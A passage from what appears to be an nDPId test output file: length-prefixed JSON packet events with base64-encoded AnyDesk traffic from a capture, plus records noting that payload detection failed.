0FbGZr7zbVs0MeA1SAPbBKDHN0cW4Lp6WadhWK8Te9hXaLVSPEFjMn7Ak3ZTrDcdVahiY+6Nhh9Aw2ax+4uA\/57Qli2PvIczAJ0AGyk9woS9Qrz+OLL3MfSFnAmPhan\/4n5b7J\/d3E8x8FR8zhvQPPfF1npyYJ2XBJ4+jtw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1482,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +05260{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1484,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":392719,"pkt_caplen":3668,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3668,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf8BAAIAGAADAqAG7wKgBstOUG56PKEnLWcQ1nFAYIBOExAAAFwMDDhlZ4hNO+msWLEu\/wqUzgrRxFiiu25y7JaqhWMPL+BopQ2EoFFfyvZuoFjSyIMlqmDNKh3MTMhWJuVhHj\/yHTykd1I8X\/I0ta3f4n4LzqIhfgVfn5y\/5d8XlNpHIhTdclPRynGQYXC9pvdBL6W1fk1\/Q1U4Jfm2r7T8ei75cLhozmNP\/gG9tpLFecHVg7ts9VJdVlcbodILpfEcVonK8cJSntqO3MyTpYbMrTjevKQ3C998t9Dp0SwcALG3ObREWutwkR1Qx7ykTZCQ9dd2QJt1j9tl3rh2WEeTbGh0egLVQV6YTBSLwQW4pYJ0c0+k1QfnTpuxHq52kUio+BiRu3lqEwc3c7RfabStIdZnhFK6IqziH32n8oDw48kUnzwkfXKfDEw5kICAYBJhA4lJrABNFkk86CmR5kou7zhI7zgcnrQWhJ31PVUAyPmCUp9Vjvb\/68nRlRP4BI0hEb0m81HLH9JjUHd4T20eBR1VLkNpy0B7apFUtRE2iV8euy1guvfJG+RfRm6WvGEHBKxO1szP5B7I5M9eBjLEaIgFvxMxwVZ0KMfc2tiXc9OWPvyZWp9bhKb5q3AGpIPh4fgDEUMg90SA1xO4bkp6vc2qdXi8twmWzakQDBFTomrSgKl6lc1rfNj3gjCNByzVz3QfOu7fJJpyQq2C5kIssoGJeJI5nND3fpt2INkKzaNlhc\/2N60Sem9rnkjmBtZGgUtJknt4pYfL2NATIzpETDBQ+rGXzzksmnDZ3ZUbH7K8ES7\/mqZPVROLkhFQmae\/HWx4MWFtBS5qhByO\/yRwdVb38opI+X7SZC3PG7PL\/zEiAYlDN7XFW1S1kxQ3CvelbP+piIAseTFHeNdfKskKqIu7I+DOaNdjesNuvzzzztst3Df2DSJHQKAsAimIB\/fK0WwHZ3NXkln0JqNpSIWSGTfM+HpjXRQhkzaLHdKvIdHrvPP7gYdI1Yik+zE3SEw1M5UV3khbYA8BJqiVxC304x7fYwbKPsaJIG+fYgwQeduyD+s+JMDmnxQVyIViv1bqGprQb7SfZZu0DlPogKTqD3Q6c4nplF8a27ORnrIJJu9kH5VAg22wUXfezi7s2S8EcediDkMtlubZGArJOF+ekC035qeGFlmAb+kPQ1RSr8dvSq2UB9WcmLUjentOTn0RyMMpNyUZX0aQsELCnorLgoU3K9cqJh3PHSetkolmI5Oc9Wd9ajNVxqONuU6b2VN5nRFz40Vg+oaehESLuG4CCgPfOsEIivFIyl+oT63RlIgz4zm\/JmzZ44XzJlGYLlKPjgCw9twCcZpYVeqz08aTdXmVHER+PMsLPxqzMlRehWaJ\/5FlkBV0EnpEy8T8aTyOsDsaQKmCLgNj7+0WTKsbxqKJURScqzJM9OL89J7jByNiM2pxIUvQMWDwREsT+jhH9qGFyBQRZW9FdYzMgPY2SbdYh+1D9eEBGxoqPs0uSxl0ujbQkbqNWD7m2+lF+dav8b7pSXhzWi7dYlRw\/2j+RHPAFHJH76Gn3le3zGNsnZ1FAwhScPBX\/FJa7HQY9rJ9XNZv6L3tl8L50xUCIJp\/0XGCRQSIJD0KZMfO2Uiza6BbOg0BXgz9BkVLErATEpiTwM0Y8Qju6HcJPJmqfnDJireJUfNzx5IAKMuCUYaR+e0QHG6TFCFFzol\/1DaRnBuBZFkglsMeZhks+EWv\/UOF6AeJlCkNxcbGJ6ibKDXUL\/j7fbaBUnZX6tQ2LhG+6Dm95yE84tsGJmM3svfQD6axhDJl4IzudaJrtIx3lXqmDfePa+rnKbYga2oIrzWf0XpwIp\/P6wNgkDspYRywc37M8FK5Hj3i5WK1drIeCKZVCspDPeDYNC7cebIFMQEh7lJcU6td8+\/MPqzHrHZU8w5E4stHzOXoFtrKsGuc0P5uifwNFAjAW1gUiZEzTZk0Fa7+CrtSGLDaLyfinzrEeHa2bjPRGtQOD9+Pb5LvIiTTen6NKGorCW90EN0H1xXR4qWt+JRdQJxi7cl9ovggLqsJLZwNBHnqMqbl36qqKIU7dCLIPcMs1R2s\/\/UgGCPzgDCWooNTyzXSQoKBulM0TOsCXbMlzcpwvxL3mppwnBqiQFsCVG5BIMRs9vxMFa1ECghL\/FBY1YpLdvl2ukX6tz1FOHNojwKX9gRsZQbEsx3RQpdkSSf\/SM01WRZ8acPJKPouK+q8bDdc5Urz\/JWao6ojTIAEdeUuB5Ma9YRvvi6fx9Ukqz1VtyVuloq8NXLD7j8ePj5w\/g1Wo0CR9jeku4DmsaQ9H5HojQw8AyfUjLRWijGnAvRyOwVIZn86+s6hGA+4bdHF+uInCh9RPFJe2IGvVeKvgCWsClwSqtklLYjKLgAtYLyykYa94c5oXIGNHLGrY1c3YmkbValkaqik0UMkZ0Ce79nnhZdWAn4zWjepjhIfp2tRgxGe6u\/3+cjjEBWRjyah8IM5WM0kSDmQ\/eki5eix4ARrMCjiwRx\/i1u5s6vNh5Zg2gabRCK90XNMDOxPF8UX4PndNq4vTYmPvoQE0XlM6MlJeJUsouxnZ11wAOyoMIv1p3IZd5WT9vavbE3fS26QcH8wZUy0xxJh\/n4my5SD6JWyR5lygTuGFgwrM9jOTkhSf8l4LSJuL53BGT3VYAOYR7dpBo+fU0n6x6Lfj+wckkVq8+R6UPkXcqo+XwfsjnG3tz57BUzj6uHfKQ9MUZl7+ZLjYPJxxfPwy94a2Q5sz6agP8ORkA1C4xCgiAYPkZqOXxzqXz58RFIjEyMfcn2rK9HDCU8jadowFhDKjoQ4Iz0OaAt1nZg721fb74Y7+xyTV3VBOZgXTb4GeG9fBbFn6p+Ckk8lo+63j+eSadmHExltdDSDLYuHO9Y5OORU76LXwCBGowQJScgwMpBYZ22CpFOn1Kf2cGCxt0dr77Sq9y6Ui0eWNs9VQp9jR6z08bed79OV29VTHSTxRCp9xMp0vQJKAC6h4KF7IM+jRgqS9eh6yqAtuR3mSw36cHitD7Hn\/FAYUmNGLaqtj64BYpMtzJMVcGPzj4MsVCdOki4u3AQ0p6kKCovckwm93fWyegk+PkiV6m1r9mkuzCa\/3BVyrAX227yYw9YdUnvWekJboU6mM6heV2ff0lvgqUCltSOC\/ddE3pgwDufqUEbn7ki1ZZzX\/WP+Yhn1Pt7004bBvD4kgvKkrwQGMBVa+ePqnjK13VT1hQWtD3qZo6OZEFaJaJW7oafFdwiRMSJazfOoaRbfVV\/Wyf5JKUeDhM2T0hC9\/Ezs+kPCzpHeMTzusNQUaPxs27FF+VhJ1aos2oR6KLGTGt6RZWolCG27KdtNmbEcO2XjsUFTZtb51+Cc1AIYVe\/3iymggXw7MmbI3gNf2r3hVs3vqeZpMicEskXxlN7tJYB41I3Jy5cXMLemDKmWFNZHKbfULSeY7F14jhs8Bc1TCGR8X2nk8N8BMCcrbzi9kHX+CTRqOVx+yLmzXNphS5cgWMk3Dqyk\/0u1ju0zTq06OSt4mm0bB8qH5z5excCjyzN48+uz2p6CgcH1bJU5Jo0i\/b5Cdkj7eQsOcRBhzKpHZ2oRPOAuZNbi2DKVu\/eD+glRS+clXmV3n63beKDAgRj8nyQqJh0h0Yi4RPLURGceRueiDMn80+CV\/fmQjjYoe4GCq03p9wVia47MvQ9zZLr6DO9ZfPOUCCldvMGSmBlLHkgjfl+QEawowFVFcCQV3BpYkr6HoP\/mmZs6MXk1OeO\/gPJdcaApukhcRmNKDAS6Ygc8\/37Oawa6Cq9ZcRHzMF+IbgYwg9T6+NueCRgruwdvy2wA0a5tnroq6fNsyOsKUVCaTaaQAaU6IzsJ0nXjl9uuuhZrzPcymLtwTTHX61iaw5WC9l\/p6\/+U+ydehDYxRExDe7xY\/+CtMF811Bv4i53RTpdMTh\/UqJUuEMgAXZdWfVm3niNV6Buf78YqkIpqfd4h9H8QPQ1Jp2wcjcKaoOvPWk4LW\/NHRolMx3J5pBlEfO+hMXhH7uyFvlvp6i6dPg2DBr7+m+qdhn5f44IAkJiJ5klntkXYFNDXvAdTmMP5MYjtE4YXIBeGZ2Xiv6K\/0r7r5B93aiG1TV1yAD4oGgKTfG\/i8yqzAj0bQw3x7OL1d7XbS8KQq5wBqcdcgUfgUO1lxSBv7ylvoW\/dVIAZnCa23ZXcIorzOxKzElNtfAJFahlqI8eDM0ALwSQMDOgiADDTTasw1uHuVmZNvUZXxHHfsfahkkm+lg0FSb4iLQ3M9ajnCoTXODq2mSIiwJKEl8VIB8iERobLJa+i+mDVQNCoR3ARNkieLO\/mpE88JzdMnQMnroQicVi4rCapjBE+51omQcEHtV55K05wYlvE90Obo8Ed5b7TFDbuP46BhPcyygi5o4qh\/wQ6\/wDDSAWdm4S9GjzZ87HOi5OP+ihHMGPR3G0l3JQBDf21uEW73s\/sSaamfPH3eklKRfAW8zbJAAQKFYDnhSEYOLqfdtWwtpcpmW3qrcobB\/cpPnOy8v\/xLJ48t7n+1QeteR7ZY9GNytSPjvgdYOZdkXtqcy8fPsjRrwCFEk7tc\/d5L7o2CTBCCA4KVPJLtuQgUxEr9Bpm3w06k4LGUe2Du4jZHTXyx2NxnJmLwnLs8TXXqcrYsPOfb4BhaGRqqnnumm1nKJpB7ZOjzh8C7snLc8EZ1rX3gn06LUdEIH0\/vNoicEfc2fQcBPW3Ku3JTy3zwhXs4opLeaVIg18aBaIZExA9wOoI3kRZseS0qiiiS0KJ1e32ddXAyE+LhthyN4gWeR8fjmTubmdpr3g6jfHX5fRkSvCEd2mnEb8MwYwyE5g8="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1484,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3634} +05026{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1496,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":416718,"pkt_caplen":3490,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3490,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf8dAAIAGAADAqAG7wKgBstOUG56PKF31WcQ1+lAYIBOExAAAFwMDDWdZ4hNO+msWL8G6UNtDME77wGwbEtQHMQqdf6VzYqmWj79YSE6DsBgF3yQyANc7TcIgjOfXLVZHli3gqoaZhD5VhyLFnvkQ8rc2H+LsA6qr4xvwWfbBM3tX\/z9ARbkmsDpUyya+KiuONksLAcT7qnykQGx2qzQNyXg75t9OTMPi20BxrFQP1ah8amXlUXCr0NwvqHXsjI2Q4iXxE\/Z7CmYV9jegHiGWq16Xq80QV2GtE5EtiVaf3juYhrjeWeeY33kGxxuT3m0f6zqSAmKwkGY8u8PPwLCpIEwWKhUPPI\/DS6HqkQaq1iGo4\/2VoMxprUJv76NJnioHVYeuX8\/TRUbX3afeg72ImDBEFpIFEWwPLTa7B92LrmFcdXzxcnRC+kQXuz7aDJZF3TPkA36KbB3g0loJqKciPqqWklGgl5GTHNV7bG7fPZVi1S+cUrJ3ykeElP6xBIEu1Qui1W19N832EXS6fIgV6SqAD1\/pndpY\/pN3Z6eePU15aiYEMNWigcJvE7d8HTceFzoneFupLzIo8nq\/sLUY1b1KYxkjLz+hZXAT4\/txoTH7AnXOXMnX\/E5dV2Sf9o2Cc7IdA1gLHd1eLY9uPkQ2FSR4eX\/3F94ijZroRsgQrq15x9Nt26HzGxX0stuKUWMdi7lWrkelMqE5JAXbfV8bhtEBV\/IF2aJ20sGSfZeXc0RA6IFI5jUSsNsgEbsCiUnlsZj\/qOSxz3x0gxQ+Ae0fJQDFCvN50srHSXyFOKm+3e\/Zqes9rsaR\/8iOVG6weny7jcfW+KLe5WVpdA\/16wN\/9sNtpKeJNsNxZW4FNsEITK+LA\/QOYxLu+eq0d0HImPtRPoPfbZBlyTyB+7zweuioRKODellElbcFGekYTWdYsRsaDgTBnFiwFfkGpPiyi5\/gMt0btC4ttS\/J2tInqxwNs\/sCKy6c0KO4K\/uRLtYybFUAyonBAlf2jS5s8FQ\/jSl2KRQvW9QmiA5YrcbDvsEYlcnSp45ch8UU3ZlMG2dO720om9pgYXDVPAT1iLqVl+WsqSiDVMMMrQ+Lg1JCf\/7ASRIEldLMpuev5eg1UyYMZPuFuo6+3I3d0hj1kOtzXSpl9ZwEVW2DT9FlnI8BAK7R0j2YWatLI0bETp4TlDFYsUw3343a3YdmCzhg4xmdFs7gM4w6QO9JBdUQ08Sk2PurzrYe4OvG\/o23Yn3rAxv6ehupr\/T9Wq3rtu9VX1AVECLa259uUFCOPw8V\/xTz3gqJ6dy+y7ffsvEsHcU7t4zvA0wfIuItDoL7w9VVcMGgpCAS1eqk6mjD9MifnOMjB\/TqQFRpGH3DGX6Gv7Gwcp76FvwSC+5Axnu5sPnfFNK5rE8Yd6dKqlxfYYjBKHwowDQDjN95KHplhrkRNbe82QarQnA1RceCEJH13Ghw\/X2LQ1LolSiY7sHOett7T6PPKC+LydN4MBVrutUzFHpQdofaWiTKhSfRKkZt0CKCamPwPNR3B0rxmfIpTdsMdsRr9fQLBA0IsjvSkSwuGRGEgVqn+I3JH93\/YGZd2Wf+gdqPAMXzSu2aHKKxJMKQZ6FqpyCu8wzoaBhi8\/Dhs7uutnhOE4tJCYJjBUMZ\/BSzS4nxYjme3g8\/5fuwcNdAf8VQkA\/nUpmZ+RoNSocVoDDXdMRFOuXurMxM7ssGDgjkIXkf3N7rqVn9UQl6HQRh2Zc5etjzUT\/yLirwaWoC0DNh1NXdnDeYBNvrczRJGDviE458H2BI1j7NdMEidWZdGX704HkLsl5bbPi7eBEVNi7yBb0drpDNB5jwIgcNci5lUFFG9Qy2LYuT6AO7yGft6Fp5LpP8bicmHlGm+gPHnQczjHRAHlRpMMNvq2Kn4XIZcXoRj1Zh5XTutlYdvpGplnzKj5dcS6E6AIYrmMIb4\/Uy5KfPxoy6PzTkn4RuGM3LMgR+krEt0rktJj6opJnrLikdS6LZFTS4FBw4Pf\/7sonFjDmgR9mamWNLlT9\/CsBm+SrLWwSzjksS0v3N5t6NW0xiQS4TXmzZ9bhDX8nKxkgTSwEkJ3rJOL0sePcX7ITPAlD3Lrquj+UT1\/n4I4M0r680q4so9s2cjwmhEg\/EvW+gzy6BSnCr3H\/DhU2vxAvNgcDkOA8YBxqg\/gjmTFcVmjUZoX5W5uBAkR9lx+BorM3FN7uDfmrTV1e7xXciLr9cmGfVzcV4vtbVt8aLggkDvCZWLPwu2lLCtcPBuBRU82NyvcaIQVeoNRU0H2vxbeeV5lHQaA75ArX9EQDLYTp1Yyu\/xnlK8Ej4FRTkkfY5hn3OLlj43t3T9UAmtT1OpcH15VLFgQiaumpljZqTZwTWJvyDlelSc5u56O1OgPrVQnn+juykjxO+7oiwWrXP\/6hmbCGuKvNJXqySyFke1nx20pV2CcOsdFKSgOZFBbqALHnaxUJEyJWSqa8zhPgh8jYnPnzynt6WEK9tBcg4Wi0XvAdacmWuyIzIJSEg4BJS7ppPPmfaDfIVmGecRIlbiTEgR4OspK7wfmt7GOoqkTOOLKr7WSlx2GEGQoShRGMFh3zmq5lAp4I6vF8hhBcLCWUXWDxWSNICfGyklkC6mPo\/wTPyV\/lw9wN\/7DOmt5ayfKK2+Q3MYQxRCgn3yGIgYmOaSMIEhbNZKWA+fzGekbN5L+wZ5toPDYxaBdm6RMIKX0n9OXLf0Bz37DZ0zipqjr9aCh1q2T1ddSbFM1FzkXyAiImZ6lVVWLX96SAxftyyIIYBX6lpF\/lVU+4LP4YLzea8PDeR2nU8x05ZR+sk9rX2oh0d\/BfQzVRk88RBYf++RVqL7m7sOs94gQ6LwDCbJSDuZbm+By2wepIHtsZid5Mwn1vLReazzmu2lOx+MqCgQUHaxnMLT6GYZz+ew49VBBU3BAedYlA16NJZSAFgmEmx8nRLgzkYqlux4gViH\/h9qNmeFOdCFOkvS8WdPdSqPf+VIpTvQSqyk9Cj88SvHeO5bcCfhOub9rpUIlWdmiVTUWIns+r8iCWbukkxJHxc1i7eeWj3tlxVDZpvm27N0r7raVxdu4s7+3wbsgHH4SdH0rG5U+tWeHeHYNGjKX\/z1nUtcw0ZodxejoiE+KqaItAMkJdZj8kOI7UPW8ov4ND1JOTePp9weiLDWyV5kTLXHZLx+CMZNiMgI2rj3DvVrMYcvup85LbLyiTgWr6ln\/IMGBR8uedrFe897IKBmt+Z1cswbx7O2BUDjbL5ahheJXOjBL6UOUDiExLgDNRsvtniiH9AAiXptHvv2jZiVzfe5G6wyyp27hvfshBuTeVUEf4fBZfHYb0W9SMKxLNp6ykM6XOLss4w\/K1nyIPi7uPHF\/4PUG8bOgf9sAXDpNDAt2ZwnpC7Klt6BOJCtzJI0oAG7aEDQXVafHFIUm9qejRypvFZsRaaCLKWbtM+zmI+0aXOc3O1m3j8hBPsLuymaIBs38b1O5btkpIgIZ+G7phpotb+TkEnVFhAbCFv+E0ljMNJnvlN1zbZUu9pgHqsk8+ZxuB7QjUc\/haQNv+7huF26O53n2VfvItUVv21nM2fKSS0qqFAEGw3hobUgj\/FhgpuZvpQCNdevGGzZVJMi3yd7ssMNAqE4dkQd\/MOCVK527V8LP2HqdmeQpaixCk34kj3hsOn4ip8Yq7wlJu1eqDljQOnuycNkgOPzBvzmikps+LNw8HtAD7tKKxJDiOBDUAWnLd7u8vtKiGpZxSpH5df+DBRbMk8OWqmHSsCnG8StzyvwqIhIqUWn2U5Q6pYp31RwvmUJcblMND6krs4dd8I6oKHWdUaSFKH2fCM0zedxY3GJ3VHifnhR0xvV0eHBxklzSab\/gzZpsp9ZfYy9EZfiBj0Ksnu3uZ1lWnjhjT2jDZh4DdxoZGD0fJyRuHxptGEDjjgpRfCk3J+gk1be262ZxLvVig68cYlGGgk5FYjFjPJEF6CXUtXFso1RcnsPSsUSEuyzp6H2i4dCyVzts+F4iFVS4D5Y\/0RMr1NcIrM2eCTnOhrhQZZaTyAJZ7VS73SyPUTyP1UubjAOeckZgNLRa7Ete1DDA5lGlLK7pl9uQm9SL78T5WusUK7dyodDHv3RmeYDn1TRtbW40tSz57n4GXg5okBjUVVTrFM8bAUOMF9cMV0qvbS2F5BFiVC9eSowz4igWfP0FYsX9JPSS3Qek1LiM+MUWLIt\/Vbo8XJBxWOXd7DYZ2AyuuLIGYKsF8Fz3AVF65fELKDYiH9N4UOVFuh9KHwLYERT3LmbBByfHF9eNcAlwtGzwp7Z2g5v9k+LBqSpgRmv+j26+CpHXlEuZrzka9SQrsDlJhF9oa98IiCII1LD55NWU5SdpcdoHWZnS7g45CWq2W\/KNeArWu25YXGTdDxuUD+jlnO3Y7KvqZ7GdYGuim2EeuT8aA49NPduhMuKSTL7D\/F1qc8WNJX7mfKZIWPWOh9SeG\/Ech5CFvgIcjS08S+dej0ws9dD+Dbl9OSCVtibIgCjOzmP\/NXEH4q18uzxmDqlINe6rUFIL8dtgT3mM3vUAvWgIzug4IPkCV6UjDF+kh1q3VoQtHPuSpveEqvE1NV0nv2rQZkG\/SKQg13r+cYiA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1496,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3456} +07819{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1497,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":417005,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf8pAAIAGAADAqAG7wKgBstOUG56PKGthWcQ1+lAYIBOExAAAFwMDFXlZ4hNO+msWMAlnKPS3ywTmPDo8vqNHkBWMxoOtmY2cyg19eWfwH8DMulSumvrfG3jnG\/bAEItLxSX\/o9gX3eTYwTq+zeD5XMJxgdeCeKjVRCoJjME5IAkcKtizi0uXA4pEDn9XMYXEXWghizBat1IWNk\/pYuBP2bSRpZFhRhMNbsvs6XIkp+GtGfR08zK3fsARkAuhkKoZIOvhFxpc2fY4xr0e9\/wSDNAwZFAEWlWpQrBxe7zdq\/H0w4Qgg56n6zD2PNBEAFM+zjRveEw\/cwOjnmnpe8bb3Rd3bUG8xKGwBOdlUkhiZHbl4LUP8emw9qiZoApyWx9dvoZhMe9jg2cnvz7gNDDuiI1Z7zJ2zn\/4hIDnozPFGk2rKts\/2MO9MVq9Hd+gNCICPEMb+oTCXVA42ZZQ495y8ofaTkC+zulpQU6fXVzP\/R6kI8I3ni1QuTjqOPsQXHd5zWLv5yeK21gwKThgQYFT0i5oPyQizud0QNBlnPLL7H0ita5mF718BNdAVe6rgWcbae111QKiW3QWpTejsyOpsrpwxKTyN\/YhFTwGxGDQcqtZLoR\/2Rd1Nra6O48Wy0M4HOsLCcfmn\/F7Pxq+zxQ2BtnsHIDWYYBRu6HOj2vkQJBj1oE9g+6Gqo1stxyECjc+rOXVUwcvnCLvxSPq2ab\/nqjkEYWFO3Dt\/UU3r8aOPgMtT7RoLtB0L92dt8g1tkKFM4Ing7D2Zphxnj6s2AiJJ9eev3fvOM9wovNDrwEwebT6BgOTiWWbjITrAoMe5reTwgS57D3mFOBeUpPRbSWP6efSUWjdVVv2PEIcCxR8tBYWoW4eQux81jZHPywwGXO46BE\/m2TduB9KBgBFlGUhElDSmDybS6HoKbgNpf09Mt4vOlcC0wZuNyNIfYf+MS6J82VXPFavdL6SQ9wmYmCwt\/SPt5UnEb0D1AI03oSo76yZtXDoCvmO6YYf45aJzioChBiS56e6PF6SBXVndi+PdlIZodKwY+nVoy6un5QIqceDS1jNRDcAgGEsIU3umggkGa7Z+vyCZrLOWaMDeHjmG4+7IqzTG3D27o89v\/RVEh5bzrt45Q6vhv30cBlNqzj9FFdoTJO7kZdL+2O6QgNER5Hclt3SQA7UGzU3Qvge0KWnICUuZ11BMrBjR1qSpGaMS2kAhcYC1dyW1dUAR7vDGtSziBwBnPtoXu8AS7HusbPDFHzjg4BQuD9rKyuhtnZSaPpVJ\/cc8pqaFIi50cNs0nxKrRlsOR+01yga+ACzAf8BuDSvSi1Qi8wUpf3FEVUOBfVkO\/vWgA+ScOfR2AjJF0L2yIzrXhfzxPHQ05Vg80Xy7TeSwjo2ElPATOot6Omr4T3Bu+uiMCnJVIB387EcE+SnTsFwpXqgkcAajniHimyNcvyjE+5lNkQM08KvXiLWBVpxWvAiOzTBKsyc1Povy4z83SxGH7Bq3yMPA+dGaPtSp55rGDviUO7jXOy2myHLBNuADIEhq8kiVsARV6n6MvM0Je21BvqUzfiBODZNAfABz7ZatxeWCxwRDb2IF4vPfTxfdj3JnOBmVUQyU0Fir6M0AEx2O4VWnjiYfi6x8CG1WmoOFSJbYABf1yrRAQlqLBkRauY77KQ\/g2cyli7Bzoy3KMc2lndF9nah56QQ2xwjlcElBUqfeynKXgKcR\/FyoVy5NoO3u6qJJIDx6iFgVvfAnKcn2dngz\/pKMkCUJD748GluQ7Tid3D1NUtmlIzIQFlXtPfA0MLwbmxBEFxqFgrYq\/VZxZFLwNvqOYatjNKOE4jWbWG\/yH+x9h0RyoR6Pp3BGUO6GXjHRwKv3Mlbd+96JI0rd4N2aYmLS2OjgWnJAsvyZ5pnNN\/At1xfHMhbOEtCXHlYltwlHuQUj541qhkH+3iNLCUKvRkGOw9Rk1Xd4jdMYqVnDGJ9AgFHIXg44N2ItN8Mrf6tHlUoM\/2RdJ\/Wum5o56eOBm1xWLOVLQQhCtcKb7ruZ\/cJOibD85Owk1uUc\/iSK31bXf7nKIpB9\/V5QUhhNgIiWbU4w1U8Jr\/UpvXEKYDxalTr28x+6yPWQiU8Tx6qEdX9a55tImIvffyO7+X0aTpqJBlh2uJ1q5HYdkkw9juirC8YH9317UxK2QhYr5LqM5JkcSegGONBevenbP6K6+SnSkOsUWEfUgIKGC+UmZWZ5P4zKLwi85BC0YK2LsVQfmxkUuxXDoBThNQ0x1XRCaTOywq3wdOWeS6T8uye9eQwmxHW9BQvP78taoVmJbrkgYKGYIrUh+bzMNeV\/RAG5fVLmJrz7fvA30A1XoJJfBY99P\/DzzydgPAGRSI9Po525O4Yswmnmiyx3wGrYdTlNwfb1DAx9PuhbuFmrezG\/QbhXvdNjyrm+L2GKFgmY80Dv8JIe5bul3WK0WtzvQ69SrVMmeWPC+yxlORvvya7j80666CKzrv5grOO6++t7Kfy4Fb7Dl3GUvQQGjKuLLdqDwoP2aesVZmhJGNgD7vLgSJ8I+PF8LFZo9wc+wJYByuQ28wRjZkRffvCxF67x6q0yI97YDPrD3t7DZiMCDCkFYSIV8G5dzmOrs9YH8cMctdpBhJPf6qx\/4BqvdWegB2uOzRwmf1G1YOpsy58FouwLwoYBh8YhsgNIbj1geTnKUabsyT0y6HXZagzbsvSaRtZQkIh9VqWXXgtaV8Ka95pwDdnB1uwnn\/TOZ0IomfigSQw0IppDpH6c1+VNtyZgoUpIxomjF+CM0RUqbpu4DaFoSXcg7tMK06B4dTLhjH5\/8JT\/gZImvJvwA3Aw5UXlIcBuLxwq4KTywtAi6qLEAtlsTzmnrkdHqH4pLlrICvXUZLPvgUnDhgo2QeVLY2X2GPgNKJ\/\/AW7x6XYmXFP81ZrefL9tPNWdXt57JEmwYc8kbuS\/wnsJqfYgDVzdehKIApdR5MP9IR6yGOgx2n5Q8xzM1ubmWm+QbGSRa4lhSdu7krmJDmpJ6ziDClxg7r6VPWdIMWOtTWGbVWQIVZKiaZPoWjxtXKEVDRD8XejsCOjpBOF+SaiA6UtNElhNmxzTX+i4V5c7cXhDuIRLTLfkwa7hz7cBQjC8k9uBSeSR0+Vxtmx+ix7PmgzDh1sH7U73ZkLOZb2vNlnXYa872\/GnKFwUDvC4v3lEkVHjxlA5V5bH6BqaCdjj4tIiGsBlF\/XDamvdvr\/NxJmRstF8DLte1wDe4gvlju8IdZ+uSmQYEgP3V+AgmCZW6LSQv4yJbDgi78eMjIKNDMvODyfaEDXwRdeHhWzsZNKlcExPifLSAF5xRliRMMaZTuyObzIBU4LH2\/qoN1VCPdxXRBHRABPgOAwXzCmKwbjyzrCTaiZIA4XL4vgkvld8\/Mg19myvF5YZGpDGDsUWpZ1SpZ1VmfhftJHBBdIWkORfSrTtstohfDvaJTohsAvmqqZt7K8dcdsAoY1vdHaZOeBJk7gFAHPA3q2yvd6BZM3S2uf+oehcUGQmI1rxYTOf0gOjbhLvizLARvxxmynzZw5eW4cLjmBNJZ+GxuIvxN+eV95HT3d7NyWYbO8eesDCc2o1aUriobrU+AbRCz6GZtrJOHgCPQqm5+VG\/taQaWuzPF7qz4eT4pRQdjvRv5QXnBcpY9nis\/+qXhO5AR2LYGGMAf4bGu\/ziU1Tw6yKIIhGEabTAuy1Skzhj8c1KevtoqtAU2zdnMsiHev\/VMsZ6t+xW+FdQDkbiMd8jLwNcBqXB7ay3lXvk+Acv0Tbrvv\/B9p6NpNMcpkNDUkBY6Tps2Ikxm05I1Y\/GQpWjyhCWqnb5PNJfCBqrHOr\/d9q+I2WM4bllMqqvTAQdeO6j8HU6NfNWJBWnZUuksUuML6arCUlsHLHaJI3ALdlJEedH0c5THqpGpIKl5L6P9fAz0dpNewb\/vXWmXwbYQ5ZAE5xIlFZ+FWZBewKgOk6zNPyYdmFGhTpiakB8tQclh2BlXy7LdZ6wFoe2KAk7e50SmMkWLt6JlutiMuZkeGVwLXP6wV\/9TuA7maxHMYVpWyOT9KS6Z1IpKExMJJs32NYxPi\/xQcBwTV1z0+KfEiN5epJjw+5xd4zmFRehrTq432L3P7eonpIcH1Rg\/6btap8ViSRjepA32HeeeMKRHw0RpnJ50HvO3X54HOOq2KfpDA4Lxr7TvZhcOzLeRsgK4dcS3l+GQQXiPipxq3VNa9NKCqv1oEKiY8knwplNe59iSAyqyzkkMwBIDgr1L9HwAncS8ByB46mCAPPSVvtxBuX8NBQ+sQG8LZwh7YtdCiuSvOpMnxZLZjddVw+svy+hxjC\/ooa2qyYFfq7aiFZ21Rrmwttczr2zw+6j08uRyNhVJ6UEA6LiNO+qG\/7V8tKSag7HgP8jPrbaoTYc\/Ozll5I3ETVH4znoQP55nqRC3LREKUOTEYRXfhMXVQUSQ2oh9YMHXud33hMaVOnDqNjPvQ8Sr+k9kM8kRvrfi9glxx9meIR8PL\/3\/tM9qde+aXXKY66GZ40LKjSInyuqn\/Da\/tR29ZFoGRtl3FQGNEtFmUBKGiRcFpQDQnK1vLR3Vr9W0jxfh0q+G00h3EVO8TprHXjn3bwDnhxnuNgrBt2qUPgmAFarWe3sZKpUlolTHJAPvGaATny8G9jwrKylLvqIsOCywthYKcnYR4uMDZE8RAF8rrCYHlxJX+MUaNNCk1DDHKP4BO+hWTrZhLqNYiVIcofwJd5IBvZENF\/g6sCFkWuF02y8QUzC4sBeyxsdr983\/Ti577pabNbFLm\/rmEnGdqeRsEe8GxMMBB0tHeidel1FU4c9bUGgncWZZjkFM4Ga1TCNOs9VQ2H